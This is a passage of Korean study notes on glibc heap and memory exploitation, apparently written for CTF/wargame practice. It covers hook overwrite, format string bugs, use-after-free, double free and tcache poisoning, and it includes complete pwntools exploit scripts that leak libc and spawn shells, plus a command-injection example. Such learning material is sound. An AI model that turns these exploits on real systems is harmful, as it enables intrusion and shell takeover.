함수가 있으면 이를 호출하도록 되어 있다.- free 함수와 realloc 함수들도 각각
__free_hook
,__realloc_hook
함수가 hooking 되어있다. __malloc_hook
는libc.so
영역 안에 있으므로 writing 권한이 있는 라이브러리 영역이며,__malloc_hook
에Hook Overwrite
공격을 수행하면 Full RELRO 기법으로 방어할 수 없다.readelf -s
명령으로 libc.so 파일의 section 정보를 추출하고,__malloc_hook
함수의 index를 찾는다. 이후readelf -S
혹은objdump -h
명령으로 libc.so 파일의 section 들을 확인하여 해당 메모리 영역에 읽기/쓰기 권한이 있는지 확인 할 수 있다.__malloc_hook
,__free_hook
,__realloc_hook
가 저장되는 영역이 bss 영역인 linux 버전에서는 Hook Overwrite가 가능하다.__free_hook
이나__malloc_hook
은 보안 및 성능 때문에 glibc 2.34 버전부터 제거되었다.
Free Hook Overload
free
함수에 적용된__free_hook
를 덮어써서 exploit을 수행 해 본다.
libc_base 주소 확인
- main 함수는 보통
__libc_start_main
함수에서 호출되고,__libc_start_main
함수의 메모리 주소는libc_base
이다. - main 함수의 스택 프레임을 확인하여 return address 를 추출한다. return address 는 __libc_start_main 함수의 어딘가를 가리킬 것이다.
gdb
로 exploit 대상 프로그램을 로딩하고,main
함수에 break point 를 걸고, run 명령으로 프로그램을 실행시킨다. pwndbg 플러그인이 설치된 gdb라면bt
명령으로 stack 상main
함수의 return address 가 확인된다.- 이 return address 를
x <주소>
명령으로 확인하면__libc_start_main
+ α (임의의 값) 으로 표시된 것을 확인 할 수 있다.
readelf -s
명령으로 libc 라이브러리에서__libc_start_main
함수의 offset 을 확인한다.- 위에서 얻어낸 결과들로 아래 계산식을 통해
libc_base
의 주소를 얻어낸다.- (
main
함수의 return address) - (__libc_start_main
함수의 offset) - α =libc_base
- (
- main 함수는 보통
system
함수와__free_hook
함수를 치환한다.__free_hook
함수를 실행하면system
함수가 실행되도록 hook 함수 주소를 변경한다.
- 정리하자면
- 조건:
- buffer overflow가 발생한다.
- 프로그램의 바이너리가 필요하다.
- 프로그램에서
free
함수를 호출하고,free
함수의 인자를 표준 입력으로 받는다. - 프로그램에서 임의 주소에 임의 값을 덮어쓴다.
scanf("%llu", &value); *addr = value;
- got 를 수정할 수 없기 때문에 ROP 와 비교했을 때 조건이 하나 더 추가된다.
- main 함수의
stack frame
의return address
추출이 가능해야 한다.libc_base
를 확인하는데 사용하므로, 다른 방법으로 대체 가능
- 프로그램에 사용된 libc 라이브러리가 필요하다.
- 단계:
- 바이너리를
gdb
로 분석하여main
함수가__libc_start_main
함수의 몇 번째 라인에서 호출되는지 확인한다. - 프로그램의 ELF 를 확인하여 프로그램을 실행시키고, buffer overflow로 main 함수의 stack frame 에서 return address 값을 출력시킨다.
- 출력된 주소값으로 libc_base 를 구한다.
- libc_base 값으로
system
,__free_hok
함수와"/bin/sh"
문자열의 주소를 구한다. - 조건 (4) 에 해당하는, ‘표준입력’ 을 받는 코드에서
__free_hook
함수의 symbol 주소에system
함수의 symbol 주소를 대입한다. - 프로그램에서 호출된
free
함수의 인자에"/bin/sh"
문자열의 주소를 대입한다.
- 바이너리를
- 조건:
exploit 예시
from pwn import *
p = process('./fho')
e = ELF('./fho')
libc = ELF('./libc-2.27.so')
BUF_SIZE = 0x30
##########
# 1. leak memory of 'main' function
##########
payload = b'A' * (BUF_SIZE + 8 + 8 + 8) # BUFFER + other local variable + canary + SFP
p.sendafter('Buf: ', payload)
print(p.recvuntil(payload)) # payload 값 버리기
addr_main_return = u64(p.recvn(6).ljust(8,b'\x00')) # main 함수의 stack frame 의 return 주소
##########
# 2. calculate offsets of '__libc_start_main' function
##########
# gdb 에서 확인 한 main 함수의 __libc_start_main 에서의 offset 은 231 이다
# 0x7ffff7a03c87 <__libc_start_main+231>: mov edi,eax
OFFSET_MAIN = 231
ADDR_LIBC_START_MAIN = addr_main_return - OFFSET_MAIN # __libc_start_main 함수의 주소
# readelf -s 명령으로 확인한 __libc_start_main 의 offset 은 0x021b10 였다.
# 2203: 0000000000021b10 446 FUNC GLOBAL DEFAULT 13 __libc_start_main@@GLIBC_2.2.5
# OFFSET_LIBC_START_MAIN = libc.symbols['__libc_start_main']
OFFSET_LIBC_START_MAIN = 0x21b10
libc_base = ADDR_LIBC_START_MAIN - OFFSET_LIBC_START_MAIN
addr_system = libc.symbols['system'] + libc_base # libc_base 에 offset 합산
addr_free_hook = libc_base + libc.symbols['__free_hook'] # libc_base 에 offset 합산
addr_bin_sh = libc_base + next(libc.search(b'/bin/sh')) # libc에 위치한 "/bin/sh" 문자열의 위치 추출 후 주소 계산
print('libc_base:', hex(libc_base), '\naddr_free_hook:', hex(addr_free_hook), '\naddr_system:', hex(addr_system), '\naddr_bin_sh:', hex(addr_bin_sh))
##########
# 3. get shell
##########
# stack 에 값을 직접 채워넣을때는 p64() 함수로 패키징을 한 binary 데이터를 전달헀지만,
# 프로그램에서 정상적으로 변수에 값을 집어게 할 때는 string 형태로 변환해야 한다
input1 = str(addr_free_hook).encode()
print(p.recvuntil('To write: '))
p.sendline(input1) # input1
input2 = str(addr_system).encode()
print(p.recvuntil('With: '))
p.sendline(input2) # input2
# 코드상 input1(__free_hook) 의 주소를 input2(system) 의 주소로 변경시켜줌
input3 = str(addr_bin_sh).encode()
print(p.recvuntil('To free:'))
p.sendline(input3) # __free_hook 함수는 __free_hook(arg1) 형태로 동작하므로, arg1 에 "bin/sh" 를 넣어서 system("/bin/sh") 를 만든다.
p.interactive()
Out Of Bound
- C 언어에서는 배열을 참조할 때
[]
연산자를 사용한다. - 하지만 C 언어 컴파일러는
[]
연산자 사용시 배열의 범위를 벗어났는지 체크하지 않고, boundary check 는 오직 개발자의 몫이다. []
연산자 사용시 boundary check 가 미흡한 코드가 있다면, boundary 를 벗어나는 index 를 넣어 코드의 특정 메모리를 참조할 수 있고, 이러한 공격을OOB
(out of bound) 라 한다.- 예를 들어, 아래 코드를 실행한다고 하자.
char* secret = "SECRET KEY"; char[] arr = {"name", "age", "phone", "address"}; int idx; scanf("%d", &idx); printf("%s", arr[idx]);
- 변수
idx
에 대한 boundary check 가 되어있지 않아 idx 값을 원하는 대로 넣어 같은 주변의 메모리를 참조할 수 있게 된다. - 실행 될 때 stack 을 예로 들면 아래와 같은 형태가 될 것이다.
01:0008│-038 0x7fffffffdec8 —▸ 0x555555558040 (secret) ◂— 'SECRET KEY\n' 02:0010│-030 0x7fffffffded0 —▸ 0x55555555602d ◂— 'name' 03:0018│-028 0x7fffffffded8 —▸ 0x555555556041 ◂— 'age' 04:0020│-020 0x7fffffffdee0 —▸ 0x55555555604d ◂— 'phone' 05:0028│-018 0x7fffffffdee8 —▸ 0x55555555605b ◂— 'address'
arr[0]
은0x7fffffffded0
주소에 해당하고,arr[-1]
은0x555555558040
주소에 해당하는 값을 반환 한다.- idx 에 -1 을 넣으면 개발자가 의도하지 않은 변수 값인
secret
변수의 값 “SECRET KEY” 문자열이 출력되게 할 수 있다.
- 변수
FSB (Format String Bug)
- C 언어에서 문자열을 처리하는 함수 중 f로 끝나는 함수들은 대부분
format string
을 처리하는 함수이다. format string
이란, %d %s %u 처럼 문자열에 변수를 특정 형식으로 매핑 해 놓은 형태를 의미한다.format string
을 처리하는 함수는format string
이 필요로 하는 변수의 갯수를 확인하는 과정이 별도로 없어, 해커들이 이를 이용해 의도하지 않은 변수들을 추가로 출력/입력 하도록 조작할 여지를 만든다.
- printf 를 통한 exploit
- 조건:
printf(변수)
형태의printf
구문 (argument가 한개)- 취약한
printf
구문이 두 번 이상 호출되어야 함 - 프로그램의 바이너리 있어야 함
- printf 함수는 출력을 위한 함수이지만,
%n
형태의 format string 을 사용하면 입력도 받는 기능이 있다. - exploit 절차는 다음과 같다.
gdb
를 사용해 바이너리를 분석하여 ELF 로 랜덤하게 배정된 코드 영역의 base 주소를 확인하고main
함수의 시작 offset 을 구한다.vmmap
명령어로 메모리 영역을 출력 했을 때, 메모리상 코드 영역의 시작부분을 확인한다. (아래 예시에서는0x555555554000
에 해당)Start End Perm Size Offset File 0x555555554000 0x555555555000 r--p 1000 0 /home/aswinblue/download/fsb/fsb_overwrite 0x555555555000 0x555555556000 r-xp 1000 1000 /home/aswinblue/download/fsb/fsb_overwrite 0x555555556000 0x555555557000 r--p 1000 2000 /home/aswinblue/download/fsb/fsb_overwrite 0x555555557000 0x555555558000 r--p 1000 2000 /home/aswinblue/download/fsb/fsb_overwrite 0x555555558000 0x555555559000 rw-p 1000 3000 /home/aswinblue/download/fsb/fsb_overwrite 0x7ffff7dcb000 0x7ffff7ded000 r--p 22000 0 /usr/lib/x86_64-linux-gnu/libc-2.31.so 0x7ffff7ded000 0x7ffff7f65000 r-xp 178000 22000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
start
명령으로 프로그램을 실행시키면main
함수의 주소가 확인된다. (아래 예시에서는0x555555555290
)──────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────── ► 0x555555555290 <main> endbr64 0x555555555294 <main+4> push rbp 0x555555555295 <main+5> mov rbp, rsp
앞서
vmmap
명령으로 구한 코드 영역의 시작 주소0x555555554000
와main
함수의 주소0x555555555290
를 뺀 차이0x1290
가 코드 영역에서main
함수의 offset 이 된다.
추출이 필요한 target 변수의 메모리 주소를 확인한다.
- 리눅스 명령어
readelf -s
로 추출이 필요한 변수의 offset 을 확인 할 수 있다. - 이번 예시에서는
changeme
가 target 변수이다.74: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@@GLIBC_2.2.5 75: 000000000000401c 4 OBJECT GLOBAL DEFAULT 26 changeme 76: 0000000000004010 0 OBJECT GLOBAL HIDDEN 25 __TMC_END__ 77: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_registerTMCloneTable
- target 변수의 offset 은
0x000000000000401c
이므로 (1) 에서 구한 code_base 의 주소를 더해주면 target 변수의 주소는0x555555554000
+0x401c
=0x55555555801c
이다. - (1) 과정에서
main
함수의 시작 주소가0x555555555290
였으므로, main 함수와 target 변수의 주소 차이는0x2D8C
이다.
- 리눅스 명령어
stack 상에서 main 함수의 주소를 찾는다.
start
명령으로 프로그램을 실행시키고main
함수가printf
함수를 호출하는 시점까지 실행시킨다. (printf@plt
호출 직전까지 실행해야 하며,disass main
명령어로printf@plt
호출 부분을 확인할 수도 있다.)tele
명령으로 스택 프레임의 return address 값을 확인해 stack 상에 입력된main
함수의 주소를 찾을 수 있다.pwndbg> tele 20 00:0000│ rdi rsi rsp 0x7fffffffdef0 ◂— 'aaaaaaaa' 01:0008│-028 0x7fffffffdef8 —▸ 0x555555555300 (main+112) ◂— add al, ch 02:0010│-020 0x7fffffffdf00 ◂— 0x0 03:0018│-018 0x7fffffffdf08 —▸ 0x555555555120 (_start) ◂— endbr64
rsp + 8
영역에 main + 112(0x555555555300) 가 들어있음을 확인 할 수 있다.- target 변수와 main 함수는
0x2D8C
=11660
만큼 차이가 나므로,rsp + 8
영역의 주소0x555555555300
에11660 - 112
를 더하면 target 변수의 주소가 된다. - 즉,
printf
를 호출하기 직전rsp[8] + 11548
값은 target 변수의 메모리 주소 값이 됨을 알 수 있다.ELF
나ASLR
이 적용되어도 함수 및 변수의 상대적인 주소는 일정하므로 gdb 로 미리 확인하고 pwntool 로 공격이 가능하다.
printf
의 취약점을 활용하여 필요한 메모리 영역을 추출한다.printf
는 format string 을 첫 번째 인자(rdi)로 받고, 두 번째 이상 부터는 format string 에서 호출 될 변수들을 인자로 받는다.printf("%1$p %2$p %3$p %4$p %5$p %6$p %7$p %8$p %9$p");
호출시 결과는 rsi, rdx, rcx, r8, r9, rsp[0], rsp[0x08], rsp[0x10] 에 들어있는 값이 출력된다.- PLT/GOT 참조
- 6번째 변수부터 stack 의 값을 참조하도록 되어있으므로 stack 에 들어있는 메모리 주소를 출력하도록 할 수도 있게 된다.
rsp[8]
는printf
상에서%7$p
에 해당한다. (메모리 주소 출력을 해야하므로 ‘%p’ 를 사용했다.)printf("%7$p");
를 호출하도록 코드를 짜고, 출력된 값에서 +11548
을 더하면 target 변수의 주소를 추출 해 낼 수 있다.
printf
의 취약점을 활용하여 메모리 영역에 값을 덮어쓴다.- 추출된 메모리 영역에 값을 덮어 쓰려면, format string 의
%n
기능을 이용한다.printf("%s%n");
은 %s 에서 출력된 문자의 길이만큼%n
에 기록한다.- printf 참조
- 버퍼의 크기가 크지 않아도 큰 수를
%n
에 담으려면 format string 의 width 설정을 이용한다.printf("%30p")
는 출력되는 길이가 30 이하라면 모자란 영역을 공백으로 채운다.
- 종합하면 1337 을 target 변수에 덮어쓰고 싶다면,
"%1337s%8$n......"
이후에target 변수의 주소
를 이어붙인 문장을 printf 가 출력하게 하면 된다.%1337s%8$n
은 rsp[0x10] 의 주소에 1337 값을 넣는 용도이다.......
+target 변수의 주소
부분은 x64 구조의 시스템에서는rsp
[0x10] 위치에target 변수의 주소
가 오도록 패딩을 넣은 문자열이다.- 프로그램 상에서
read
함수 호출에서 받은 데이터가rsp
에 쌓이고printf
를 호출할 때 까지rsp
에 유지됨을gdb
로 확인 했기에rsp
[0x10] 에 데이터를 넣을 계획을 세운 것이다.
- 추출된 메모리 영역에 값을 덮어 쓰려면, format string 의
- pwntool 을 사용한 코드 예시이다.
from pwn import * p = process("./fsb_overwrite") elf = ELF('./fsb_overwrite') ########## # 1. get address of 'main + 112' from stack ########## # send FSB payload p.sendline(b"%7$p") addr_leak = int(p.recvline()[:-1], 16) ########## # 2. calculate address main+112 in stack ########## # calculate address of 'main' function addr_main = addr_leak - 112 print('addr_main:', hex(addr_main)) # calculate address of target variable 'changeme' # 'changeme' is 11660 away from 'main' # addr_changeme = addr_main + 11660 addr_changeme = addr_main + (elf.symbols['changeme'] - elf.symbols['main']) print('offset main:', hex(elf.symbols['main'])) print('offset changeme:', hex(elf.symbols['changeme'])) print('addr_changeme:', hex(addr_changeme)) ########## # 3. overwrite 'changeme' variable ########## payload = b"%1337c%8$n".ljust(16,b'A') payload += p64(addr_changeme) print('payload:', payload) # 1337 길이의 어떤 문자를 출력하고(무슨 문자가 될지는 모름) # 1337을 rsp[0x18] 에 덮어쓰게 하기 위해 16자리까지는 FSB 유발 데이터 + dummy string 으로 채우고 # 17자리부터 24자리까지 changeme 변수의 주소로 채운다. # 이렇게 되면 stack 에서 rsp[0] ~ rsp[16] 까지는 FSB 유발 데이터 + dummy string 이 들어가고 # rsp[17] ~ rsp[24] 까지는 changeme 변수의 주소가 담기게 된다. p.sendline(payload) p.interactive()
Use-After-Free
메모리를 해제하느라 free 를 호출하면 free 함수는 메모리를
ptmalloc
에 반환할 뿐, 메모리 영역을 초기화 하거나 포인터를 초기화 하지는 않는다.free 함수를 호출 한 이후 포인터는
dangling pointer
가 되어 해제된 chunk 영역을 가리키게 된다.dangling pointer
를 활용하여 해제된 메모리에 접근하여 발생할 수 있는 보안 취약점을UAF
(Use-After-Free
) 라 하며,dangling pointer
가 가리키는 메모리가 해제되기 전에 담고 있었던 데이터가 유출 될 수 있다.unsortedbin
의 첫 chunk 는 libc 영역의 특정 구역과 연결된다. 즉, 첫 chunk 의fd
와bk
영역에는 libc 영역의 주소가 기록된다는 점을 활용하여 libc_base 를 확인할 수 있다. ptmalloc 참조exploit 조건
- unsortedbin 에 들어갈 수 있는 크기의 heap 을 할당 할 수 있어야 한다.
- heap 을 원할 때 해제 할 수 있어야 한다. (unsorted bin 의 chunk 와 top chunk 와 붙지 않게 조절 필요)
- uaf 취약점이 있어야 한다. (heap 에서 함수 포인터 주소를 읽어 실행하는 구문 존재)
- 실행파일 및 소스코드 확보
exploit 방법
libc_base 와 특정 메모리의
fd
혹은bk
간 거리(index) 를 찾아낸다.gdb
에서 프로그램을 실행시킨 후 메모리를 할당하고 해제하여unsortedbin
영역에 chunk 를 생성시키고,heap
명령으로 그 chunk 의fd
나bk
영역의 메모리를 추출한다. (1024 이상 메모리 할당 필요)
Free chunk (largebins) | PREV_INUSE Addr: 0x555555559290 Size: 0x510 (with flag bits: 0x511) fd: 0x7ffff7fb8010 bk: 0x7ffff7fb8010 fd_nextsize: 0x555555559290 bk_nextsize: 0x555555559290
vmmap
을 사용해 libc_base 의 주소를 확인한다. (예시에서는0x7ffff7dcb000
)
0x555555559000 0x55555557a000 rw-p 21000 0 [heap] 0x7fff4d31f000 0x7ffff7dcb000 rw-p aaaac000 0 [anon_7fff4d31f] 0x7ffff7dcb000 0x7ffff7ded000 r--p 22000 0 /usr/lib/x86_64-linux-gnu/libc-2.31.so 0x7ffff7ded000 0x7ffff7f65000 r-xp 178000 22000 /usr/lib/x86_64-linux-gnu/libc-2.31.so 0x7ffff7f65000 0x7ffff7fb3000 r--p 4e000 19a000 /usr/lib/x86_64-linux-gnu/libc-2.31.so 0x7ffff7fb3000 0x7ffff7fb7000 r--p 4000 1e7000 /usr/lib/x86_64-linux-gnu/libc-2.31.so 0x7ffff7fb7000 0x7ffff7fb9000 rw-p 2000 1eb000 /usr/lib/x86_64-linux-gnu/libc-2.31.so 0x7ffff7fb9000 0x7ffff7fbf000 rw-p 6000 0 [anon_7ffff7fb9] 0x7ffff7fc9000 0x7ffff7fcd000 r--p 4000 0 [vvar]
- libc_base 주소에서
fd
에 저장된 주소를 빼고, 96 의 offset을 추가로 빼서 libc_base 와fd
가 가리키는 주소 index 를 찾는다.0x7ffff7fb8010
-0x7ffff7dcb000
=0x1ED010
- index 는 상대적인 값이므로 프로그램일 다시 실행시켜 libc_base 의 메모리 주소가 랜덤하게 변경되어도, index 는 변하지 않는다.
exploit 에 사용할 ROP chain 을 구한다.
- one-gadget 을 이용할 수도 있다.
libc
파일을 one-gadget으로 분석하면 아래와 같다.$ one_gadget /lib/x86_64-linux-gnu/libc.so.6 0xe3afe execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL || r15 is a valid argv [r12] == NULL || r12 == NULL || r12 is a valid envp 0xe3b01 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL || r15 is a valid argv [rdx] == NULL || rdx == NULL || rdx is a valid envp 0xe3b04 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL || rsi is a valid argv [rdx] == NULL || rdx == NULL || rdx is a valid envp
- 이후
gdb
에서i r
명령으로 레지스터 상황을 보고 조건에 맞는 one-gadget 을 선택한다.
i r i r rax 0xfffffffffffffe00 -512 rbx 0x3 3 rcx 0x7ffff7ed91f2 140737352929778 rdx 0x5555513f 1431654719 rsi 0x7fff4d31f010 140734488506384 rdi 0x0 0 rbp 0x7fffffffdee0 0x7fffffffdee0 rsp 0x7fffffffdeb8 0x7fffffffdeb8 r8 0x6 6 r9 0x6 6 r10 0x555555556073 93824992239731 r11 0x246 582 r12 0x555555555140 93824992235840 r13 0x7fffffffdff0 140737488347120 r14 0x0 0 r15 0x0 0 rip 0x7ffff7ed91f2 0x7ffff7ed91f2 <__GI___libc_read+18> eflags 0x246 [ PF ZF IF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0
- 이후
- one-gadget 을 이용할 수도 있다.
- 문제 해결 예제 코드
from pwn import * DUMMY_DATA = 'A' OFFSET = 0x3ebca0 ONE_GADGET = 0x10a41c # p = process('a.out', env= {"LD_PRELOAD" : "libc-2.27.so"}) # alloc1 p.sendlineafter(b"> ", b'3') p.sendlineafter(b"Size:", b'1280') p.sendafter(b"Data:", DUMMY_DATA.encode()) p.sendlineafter(b"idx:", b'-1') # alloc2 & free alloc1 p.sendlineafter(b"> ", b'3') p.sendlineafter(b"Size:", b'1280') p.sendafter(b"Data:", DUMMY_DATA.encode()) p.sendlineafter(b"idx:", b'0') # alloc 3 (reuse chunk of 'alloc1') p.sendlineafter(b"> ", b'3') p.sendlineafter(b"Size:", b'1280') p.sendafter(b"Data:", DUMMY_DATA.encode()) p.recvuntil(b'Data: ') fd = u64(p.recvline()[:-1].ljust(8, b'\x00')) # fd 값 추출 p.sendlineafter(b"idx:", b'-1') # 잔여 과정 처리 print('fd:', hex(fd)) offset = OFFSET + ord(DUMMY_DATA) - (OFFSET&0xFF) # 덮어쓴 DUMMY_DATA값을 고려하여 계산한다. print('offset:', hex(offset)) libc_base = fd - offset # 유출된 fd 값으로 libc_base 값 계산 print('libc_base:', hex(libc_base)) gadget = libc_base + ONE_GADGET print('gadget:', hex(gadget)) # alloc struct1 p.sendlineafter(b"> ", b'1') p.sendlineafter(b"Weight:", b'1') p.sendlineafter(b"Age:", str(gadget).encode()) # 특정 구역에 gadget 주입 # alloc struct2 p.sendlineafter(b"> ", b'2') p.sendlineafter(b"Weight:", b'1') # struct1 의 Age 영역이 strucut2 구역서는 함수 포인터이다. 아까 주입한 gadget 이 실행된다. p.interactive()
Doubly Free Bug
ptmalloc2
시스템에서 이미 free 를 호출하여tcache
나bins
에 포함된chunk
를 한번 더 free 하여 취약점을 발생시키는 공격 기법이다.- 공격자가 임의의 주소를 read / write / execute 할 수 있고, Denial of Service 도 수행할 수 있다.
- 특정 포인터에 대해 free 를 호출한 후 초기화를 하지 않으면
dangling pointer
가 생성된다.dangling pointer
를 한 번 더 free 하게 되면tcache
나bin
에 동일한 내용의 새로운chunk
가 추가된다.1. alloc bins heap - [chunk1] 2. free bins heap [chunk1] - 3. free again bins heap [chunk1] - [chunk1] 4. alloc same size bins heap [chunk1] [chunk1] # 같은 주소 영역이 bin 과 heap 에 둘다 존재 # heap 영역에 있는 [chunk1] 의 fd 위치와 bk 위치를 조작하면 bins 에 임의의 주소를 추가할 수 있다.
- glibc 2.26에서 많이 사용된 공격 기법이지만, 최신 libc 에서는 중복 free 를 방지하는 코드가 있어, 우회하지 않으면 프로그램이 자동으로 종료된다.
- free 된 chunk 들은 chunk + 8 영역에
tcache_entry
구조체를 갖게 된다. tcache_entry
는 free 할 때tcache_perthread
값으로 설정되고, 할당 될 때 다시 초기화 된다.tcache_perthread
는 thread 마다 갖고 있는 구조체로, tcache 에 배정된 chunk list 를 관리한다.
- chunk 를 free 할 때 chunk 의
tcache_entry
부분이tcache_perthread
와 일치하지 않으면 보호기법을 우회할 수 있다.
#include <stdio.h> #include <stdlib.h> int main() { void *chunk = malloc(0x20); printf("Chunk to be double-freed: %p\n", chunk); free(chunk); *(char *)(chunk + 8) = 0xff; // tcache_entry 구조체(chunk->key) 의 주소를 오염시킨다. free(chunk); // 변조를 했기 때문에 한 번 더 free 가 가능하다. printf("First allocation: %p\n", malloc(0x20)); printf("Second allocation: %p\n", malloc(0x20)); return 0; }
- free 된 chunk 들은 chunk + 8 영역에
- glibc 2.26에서 많이 사용된 공격 기법이지만, 최신 libc 에서는 중복 free 를 방지하는 코드가 있어, 우회하지 않으면 프로그램이 자동으로 종료된다.
Tcache Poisoning
Doubly Free Bug
취약점을 활용하여tcache
를 조작하는 공격 기법이다.2회 이상 free 된 chunk 를 재할달 하면 임의 주소에 chunk 를 할당시키는 (
tcache
조작) 할 수 있다.- AAR(Arbitrary Address Read) : 임의의 주소를 읽을 수 있음
- AAW(Arbitrary Address Write) : 임의의 주소에 쓸 수 있음
exploit 방법은 아래와 같다.
조건:
- double free 취약점 존재
- 실행파일 및 소스코드 확보
- 코드상
stdout
호출stdout
은 libc 에 정의된 값으로, 코드상에서 이를 호출하면.bss
영역에 libc 영역을 가리키는 주소_IO_2_1_stdout_
가 담기게 된다.
절차:
AAR
(Arbitrary Address Read) 로 libc_base 주소를 추출한다.AAW
(Arbitrary Address Write) 로 hook 을 overwrite 한다.readelf -s
로 __free_hook 의 주소를 찾는다.221: 00000000003ed8e8 8 OBJECT WEAK DEFAULT 35 __free_hook@@GLIBC_2.2.5
문제 해결 예제코드
from pwn import * PROGRAM = 'tcache_poison' PAYLOAD = 'A' GADGET = 0x4f432 p = process(PROGRAM) e = ELF(PROGRAM) lib = ELF('libc-2.27.so') ############### # 1. Doubly free memory ############### # alloc chunk1 p.sendlineafter(b'Edit\n', b'1') p.sendlineafter(b'Size:', b'50') p.sendafter(b'Content:', PAYLOAD.encode()) # tcache: (*) -> NULL # -------------------------- # free chunk1 p.sendlineafter(b'Edit\n', b'2') # tcache: (*) -> chunk1 # -------------------------- # edit chunk1 (already freed) p.sendlineafter(b'Edit\n', b'4') p.sendafter(b'Edit chunk:', b'A' * 8 + b'\x00') # corrupt tcache_entry to free again # free chunk1 again <- Doubly Free Bug p.sendlineafter(b'Edit\n', b'2') # 이제 tcache 에는 동일한 메모리 주소를 가리키는 두 개의 chunk 가 생겼다. # tcache: (*) -> chunk1 -> chunk1 # -------------------------- ############### # 2. Poison tcache ############### offset_stdout = e.symbols['stdout'] print('offset_stdout:', hex(offset_stdout)) p.sendlineafter(b'Edit\n', b'1') p.sendlineafter(b'Size:', b'50') p.sendafter(b'Content:', p64(offset_stdout)) # tcache: (*) -> chunk1 -> stdout -> _IO_2_1_stdout_ -> ... # -------------------------- # pop chunk1 from tcache p.sendlineafter(b'Edit\n', b'1') p.sendlineafter(b'Size:', b'50') p.sendafter(b'Content:', PAYLOAD.encode()) # tcache: (*) -> stdout -> _IO_2_1_stdout_ -> ... # -------------------------- # pop stdout # stdout 의 실제 값에 영향을 주지 않고 프로그램 로직을 통해 tcache 에서 stdout 를 pop 하려면 # _IO_2_1_stdout_ 값을 그대로 write 해주면서 alloc 을 해야한다. # 전체를 write 하는 대신 마지막 byte 하나만 덮어써도 문제 없다. lsb_of__IO_2_1_stdout_ = p64(lib.symbols['_IO_2_1_stdout_'])[0:1] # least significant byte of _IO_2_1_stdout_ p.sendlineafter(b'Edit\n', b'1') p.sendlineafter(b'Size:', b'50') p.sendafter(b'Content:', lsb_of__IO_2_1_stdout_) print('lsb_of__IO_2_1_stdout_:', lsb_of__IO_2_1_stdout_) # tcache: (*) -> _IO_2_1_stdout_ -> ... # -------------------------- ############### # 3. leak address into stdout ############### p.sendlineafter(b'Edit\n', b'3') p.recvuntil(b'Content: ') addr_stdout = u64(p.recv(6).ljust(8, b'\x00')) print('addr_stdout:', hex(addr_stdout)) libc_base = addr_stdout - lib.symbols['_IO_2_1_stdout_'] print('libc_base:', hex(libc_base)) ############### # 4. overwrite __free_hook ############### offset_free_hook = lib.symbols['__free_hook'] print('offset_free_hook:', hex(offset_free_hook)) addr_free_hook = libc_base + offset_free_hook print('addr_free_hook:', hex(addr_free_hook)) # 앞서 수행한 것 처럼, doubly free memory 를 한번 더 발생시킨다. # chunk1 과 다른 크기의 메모리를 할당해야 함에 주의한다 # Doubly free memory # alloc chunk2 p.sendlineafter(b'Edit\n', b'1') p.sendlineafter(b'Size:', b'80') p.sendafter(b'Content:', PAYLOAD.encode()) # tcache: (*) -> NULL # -------------------------- # free chunk2 p.sendlineafter(b'Edit\n', b'2') # tcache: (*) -> chunk2 # -------------------------- # edit chunk2 (already freed) p.sendlineafter(b'Edit\n', b'4') p.sendafter(b'Edit chunk:', b'A' * 8 + b'\x00') # corrupt tcache_entry to free again # free chunk2 again <- Doubly Free Bug p.sendlineafter(b'Edit\n', b'2') # 이제 tcache 에는 동일한 메모리 주소를 가리키는 두 개의 chunk 가 생겼다. # tcache: (*) -> chunk2 -> chunk2 # -------------------------- # Poison tcache p.sendlineafter(b'Edit\n', b'1') p.sendlineafter(b'Size:', b'80') p.sendafter(b'Content:', p64(addr_free_hook)) # tcache: (*) -> chunk2 -> __free_hook -> ... # -------------------------- # pop chunk1 from tcache p.sendlineafter(b'Edit\n', b'1') p.sendlineafter(b'Size:', b'80') p.sendafter(b'Content:', PAYLOAD.encode()) # tcache: (*) -> __free_hook -> ... # -------------------------- # pop __free_hook & overwrite __free_hook with gadget p.sendlineafter(b'Edit\n', b'1') p.sendlineafter(b'Size:', b'80') p.sendafter(b'Content:', p64(libc_base + GADGET)) print('gadget:', hex(libc_base + GADGET)) # tcache: (*) -> ... # -------------------------- # call free (contaminated) p.sendlineafter(b'Edit\n', b'2') p.interactive()
Logical Error
- OS 나 컴파일러의 구조적 취약점 뿐 아니라 개발자의 실수에 의한 취약점도 exploit 에 사용될 수 있다.
Type Error
- 변수에 담게 될 값의 크기, 용도, 부호 여부를 고려하지 않고 정의된 변수에 의해 의도치 않은 동작을 유발하는 에러
out of range
: 변수에 담을 수 있는 범위를 벗어나는 값을 저장하여 값이 잘리거나 부호가 반전되는 현상- overflow : 값이 잘려서 예상 값보다 커지는 현상 (unsigned char 에 256 대입)
- underflow : 표현할 수 없는 값을 변수에 대입하여 예상 값보다 작아지는 현상 (unsigned int 에 -1 대입)
Command Injection
- C 언어에서
system
함수를 사용하여 커널 명령어를 호출하도록 프로그래밍을 수행할 수 있다.system
함수는execve
시스템 콜을 호출하게 된다.
Metacharacter
를 이용해 특정 명령어 이후 “/bin/sh” 를 명령어로 입력하게 되면 쉘 권한을 탈취 당하게 된다.- ex)
system("cat file.txt;/bin/sh")
: 의도한 동작은cat file.txt
까지지만,/bih/sh
를 추가로 호출하였다.
- ex)
Path Traversal
- 허용되지 않은 경로에 사용자가 접근할 수 있는 취약점
- 임의의 파일을 읽고/쓰고/실행 시킬 수 있는 위험이 있다.
- 프로그램에서 의도하지 않은 절대경로, 상대경로 상으로 접근이 불가능하도록 로직상 제약이 필요하다.
Bypass SECCOMP
mmap
을 이용하여 입력으로 받은 함수를 실행하도록 구현된 코드에서 exploit 을 위한 코드를 침투시킬 수 있으나, SECCOMP 기법으로 시스템콜을 차단함으로서 이를 방어할 수 있다.- mmap 코드 예시
void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0); void (*sc)() = (void *)shellcode; sc();
- mmap 코드 예시
